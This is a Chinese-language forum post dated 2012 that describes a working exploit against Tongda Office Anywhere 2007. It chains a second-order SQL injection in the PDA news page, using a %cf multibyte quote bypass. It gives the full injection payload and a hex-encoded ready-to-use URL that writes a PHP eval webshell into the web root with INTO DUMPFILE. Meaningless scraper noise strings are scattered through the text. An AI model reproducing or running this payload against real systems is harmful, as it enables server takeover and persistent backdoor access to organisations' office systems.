目前测试通达OA2007版本' D9 C4 A9 V }" }7 D" D! v
& T2 }1 z2 d: w% ? / @' O3 v* y) M; H0 d
Office Anywhere 2007 网络智能办公系统
& i8 Z. A% R* Z$ U% a3 K3 Z * U! B* |6 d4 [) a! x8 M Q. _. d6 c
http://127.0.0.1/pda/news/read.php?P=%cf' 猪点。 暴web目录..' f( b8 i2 w9 |- [3 V
$ c) q6 |; l% I" e9 i& U e& n
7 \7 t. ]- s4 L! a! u这个时候看了下代码，存在注入的那个变量的语句中第3个字段，在该文件下面被另外个select语句调用了，灵光一闪，大概思路是这样的
2 ] g& q, a- K) t+ j. J Y5 j+ _7 \ * H' X" {# c7 R* O; ^- F1 s* O3 [
例如：SELECT * from USER where USER_ID='{$USERNAME}' 5 j9 a* x4 N; S/ @* S6 ^ P; \
其中有这么段字段声明$PROVIDER = $ROW['PROVIDER'];被下面个语句$query1 = "SELECT * from USER where USER_ID='{$PROVIDER}'";带入查询了, B- h7 q( P# S
8 V; S% i! O* o* Y+ m8 [3 F( @
这个时候我们是不是可以组合起来使用哪？3 H/ @- S+ a0 |& d
! ]$ U: W- s2 M4 A0 p+ `第一条语句开始注入，union select 1,2,3,4,5,6,7,8,9,10...，比如第3个是PROVIDER字段，我们这样 _, _* u0 N& N; ~$ u% V0 U% m
union select 1,2,'UNION SELECT 1,1,1,'<?php eval($v);?>',1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1 into dumpfile'B:/m.php'#,4,5,6,7,8,9,102 u- g4 J/ h% ]9 k
8 i4 V& K& F e7 m) }4 f/ q
这样'UNION SELECT 1,1,1,'<?php eval($v);?>',1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1 into dumpfile'B:/m.php'#这个语句就带入第二条语句去写webshell了" t# g1 P/ ?9 T1 M! C
) G! x$ w6 e8 `! X; J1 ]+ L3 U
那么问题来了，单引号可以吗？当然是不可以的，^_^。。。
0 H* a0 b/ U. h5 J* M) f
0 D- C* q4 H0 Q那么我们用字符串格式带入进行hex编码
, u; H" X+ X% Q- c$ }5 k 3 ~1 Y3 \/ f E* {# b+ w
%cf'UNION SELECT 1,2,3,0x27554e494f4e2053454c45435420312c312c312c273c3f706870206576616c282476293b3f3e272c312c312c312c312c312c312c312c312c312c312c312c312c312c312c312c312c312c312c312c312c312c312c312c312c312c312c312c312c312c312c312c312c312c312c312c312c312c312c312c312c312c312c312c312c312c312c312c312c312c312c312c312c312c3120696e746f2064756d7066696c6527423a2f6d2e7068702723,5,6,7,8,9,10,11,12,13,14,15,16%23
/ @$ c! x; ?0 I, D- l% [* B" M& F7 K4 ^ . f- D8 H- k2 T7 {+ a; X
测试ok，获取oa的webshell
# e z% t; U1 w& G
6 D4 n& @1 ]8 F
# h& t- p/ z. n4 Wpda/news/read.php?P=%cf'or%281=1%29%23&NEWS_ID=%cf'UNION SELECT 1,2,3,0x27554E494F4E2053454C45435420312C312C312C273C3F706870206576616C282476293B3F3E272C312C312C312C312C312C312C312C312C312C312C312C312C312C312C312C312C312C312C312C312C312C312C312C312C312C312C312C312C312C312C312C312C312C312C312C312C312C312C312C312C312C312C312C312C312C312C312C312C312C312C312C312C312C3120696E746F2064756D7066696C6527443A2F4D594F412F776562726F6F742F6D2E7068702723,5,6,7,8,9,10,11,12,13,14,15,16%23# T: L, B# c: S5 q! z% k
直接getwebshell |
发表于 2012-12-20 08:09:24
收藏
支持
反对